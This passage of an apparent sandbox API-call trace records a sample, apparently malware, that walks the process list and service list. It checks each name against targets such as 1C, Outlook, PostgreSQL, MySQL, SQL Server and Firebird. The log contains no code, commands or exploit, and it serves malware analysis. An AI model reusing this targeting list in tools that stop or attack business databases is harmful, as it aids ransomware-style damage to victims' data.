(lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0114.836] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0114.836] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0114.836] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0114.836] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0114.836] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0114.836] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0114.836] Process32NextW (in: hSnapshot=0x39c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0114.836] lstrlenW (lpString="csrss.exe") returned 9 [0114.836] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0114.836] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0114.836] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0114.836] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0114.836] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0114.836] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0114.836] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0114.836] Process32NextW (in: hSnapshot=0x39c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0114.837] lstrlenW (lpString="wininit.exe") returned 11 [0114.837] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0114.837] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0114.837] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0114.837] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0114.837] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0114.837] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0114.837] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0114.837] Process32NextW (in: hSnapshot=0x39c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0114.837] lstrlenW (lpString="csrss.exe") returned 9 [0114.837] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0114.837] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0114.837] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0114.837] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0114.837] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0114.837] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0114.837] Process32NextW (in: hSnapshot=0x39c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0114.837] lstrlenW (lpString="winlogon.exe") returned 12 [0114.837] Process32NextW (in: hSnapshot=0x39c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0114.838] lstrlenW (lpString="services.exe") returned 12 [0114.838] Process32NextW (in: hSnapshot=0x39c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0114.838] lstrlenW (lpString="lsass.exe") returned 9 [0114.838] Process32NextW (in: hSnapshot=0x39c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0114.838] lstrlenW (lpString="lsm.exe") returned 7 [0114.838] Process32NextW (in: hSnapshot=0x39c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0114.838] lstrlenW (lpString="svchost.exe") returned 11 [0114.838] Process32NextW (in: hSnapshot=0x39c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x290, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0114.839] lstrlenW (lpString="svchost.exe") returned 11 [0114.839] Process32NextW (in: hSnapshot=0x39c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0114.839] lstrlenW (lpString="svchost.exe") returned 11 [0114.839] Process32NextW (in: hSnapshot=0x39c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0114.839] lstrlenW (lpString="svchost.exe") returned 11 [0114.839] Process32NextW (in: hSnapshot=0x39c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2e, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0114.839] lstrlenW (lpString="svchost.exe") returned 11 [0114.839] Process32NextW (in: hSnapshot=0x39c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0114.840] lstrlenW (lpString="audiodg.exe") returned 11 [0114.840] Process32NextW (in: hSnapshot=0x39c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0114.840] lstrlenW (lpString="svchost.exe") returned 11 [0114.840] Process32NextW (in: hSnapshot=0x39c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x150, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0114.840] lstrlenW (lpString="svchost.exe") returned 11 [0114.840] Process32NextW (in: hSnapshot=0x39c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0114.841] lstrlenW (lpString="userinit.exe") returned 12 [0114.841] Process32NextW (in: hSnapshot=0x39c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0114.841] lstrlenW (lpString="dwm.exe") returned 7 [0114.841] Process32NextW (in: hSnapshot=0x39c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0114.841] lstrlenW (lpString="explorer.exe") returned 12 [0114.841] Process32NextW (in: hSnapshot=0x39c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0114.841] lstrlenW (lpString="spoolsv.exe") returned 11 [0114.841] Process32NextW (in: hSnapshot=0x39c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0114.842] lstrlenW (lpString="taskhost.exe") returned 12 [0114.842] Process32NextW (in: hSnapshot=0x39c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0114.842] lstrlenW (lpString="svchost.exe") returned 11 [0114.842] Process32NextW (in: hSnapshot=0x39c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload.exe")) returned 1 [0114.842] lstrlenW (lpString="payload.exe") returned 11 [0114.842] Process32NextW (in: hSnapshot=0x39c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x558, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0114.842] lstrlenW (lpString="reader_sl.exe") returned 13 [0114.842] Process32NextW (in: hSnapshot=0x39c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0114.843] lstrlenW (lpString="taskhost.exe") returned 12 [0114.843] Process32NextW (in: hSnapshot=0x39c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0114.843] lstrlenW (lpString="dllhost.exe") returned 11 [0114.843] Process32NextW (in: hSnapshot=0x39c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x338, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0114.843] lstrlenW (lpString="consent.exe") returned 11 [0114.843] Process32NextW (in: hSnapshot=0x39c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0114.843] lstrlenW (lpString="dllhost.exe") returned 11 [0114.843] Process32NextW (in: hSnapshot=0x39c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0114.844] CloseHandle (hObject=0x39c) returned 1 [0114.844] Sleep (dwMilliseconds=0x1f4) [0115.380] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3ab7440 [0115.380] EnumServicesStatusExW (in: hSCManager=0x3ab7440, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0) returned 0 [0115.380] GetLastError () returned 0xea [0115.380] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x11e4) returned 0x5e07c8 [0115.380] EnumServicesStatusExW (in: hSCManager=0x3ab7440, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x5e07c8, cbBufSize=0x11e4, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x5e07c8, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0) returned 1 [0115.381] CloseServiceHandle (hSCObject=0x3ab7440) returned 1 [0115.381] lstrlenW (lpString="Appinfo") returned 7 [0115.381] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0115.381] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0115.381] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0115.381] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0115.381] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0115.381] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0115.381] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0115.381] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0115.381] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0115.381] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0115.381] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0115.381] lstrlenW (lpString="AudioSrv") returned 8 [0115.381] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0115.381] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0115.381] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0115.381] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0115.381] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0115.381] lstrlenW (lpString="BFE") returned 3 [0115.381] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0115.381] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0115.381] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0115.381] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0115.381] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0115.381] lstrlenW (lpString="CryptSvc") returned 8 [0115.381] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0115.381] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0115.381] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0115.381] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0115.381] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0115.381] lstrlenW (lpString="CscService") returned 10 [0115.381] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0115.381] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0115.381] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0115.381] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0115.381] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0115.381] lstrlenW (lpString="DcomLaunch") returned 10 [0115.381] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0115.381] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0115.381] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0115.381] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0115.382] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0115.382] lstrlenW (lpString="Dhcp") returned 4 [0115.382] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0115.382] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0115.382] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0115.382] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0115.382] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0115.382] lstrlenW (lpString="Dnscache") returned 8 [0115.382] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0115.382] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0115.382] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0115.382] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0115.382] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0115.382] lstrlenW (lpString="DPS") returned 3 [0115.382] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0115.382] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0115.382] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0115.382] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0115.382] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0115.382] lstrlenW (lpString="eventlog") returned 8 [0115.382] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0115.382] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0115.382] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0115.382] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0115.382] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0115.382] lstrlenW (lpString="EventSystem") returned 11 [0115.382] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0115.382] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0115.382] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0115.382] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0115.382] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0115.382] lstrlenW (lpString="gpsvc") returned 5 [0115.382] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0115.382] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0115.382] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0115.382] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0115.382] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0115.382] lstrlenW (lpString="iphlpsvc") returned 8 [0115.382] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0115.382] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0115.382] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0115.382] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0115.382] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0115.382] lstrlenW (lpString="LanmanServer") returned 12 [0115.382] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0115.382] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0115.382] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0115.382] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0115.382] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0115.382] lstrlenW (lpString="LanmanWorkstation") returned 17 [0115.382] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0115.382] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0115.382] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0115.382] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0115.383] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0115.383] lstrlenW (lpString="lmhosts") returned 7 [0115.383] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0115.383] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0115.383] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0115.383] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0115.383] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0115.383] lstrlenW (lpString="MMCSS") returned 5 [0115.383] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0115.383] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0115.383] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0115.383] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0115.383] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0115.383] lstrlenW (lpString="MpsSvc") returned 6 [0115.383] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0115.383] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0115.383] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0115.383] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0115.383] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0115.383] lstrlenW (lpString="Netman") returned 6 [0115.383] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0115.383] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0115.383] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0115.383] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0115.383] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0115.383] lstrlenW (lpString="netprofm") returned 8 [0115.383] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0115.383] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0115.383] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0115.383] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0115.383] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0115.383] lstrlenW (lpString="NlaSvc") returned 6 [0115.383] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0115.383] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0115.383] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0115.383] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0115.383] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0115.383] lstrlenW (lpString="nsi") returned 3 [0115.383] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0115.383] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0115.383] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0115.383] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0115.383] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0115.383] lstrlenW (lpString="PcaSvc") returned 6 [0115.383] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0115.383] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0115.383] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0115.383] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0115.383] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0115.383] lstrlenW (lpString="PlugPlay") returned 8 [0115.383] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0115.383] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0115.383] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0115.384] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0115.384] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0115.384] lstrlenW (lpString="Power") returned 5 [0115.384] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0115.384] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0115.384] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0115.384] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0115.384] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0115.384] lstrlenW (lpString="ProfSvc") returned 7 [0115.384] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0115.384] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0115.384] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0115.384] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0115.384] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0115.384] lstrlenW (lpString="RpcEptMapper") returned 12 [0115.384] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0115.384] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 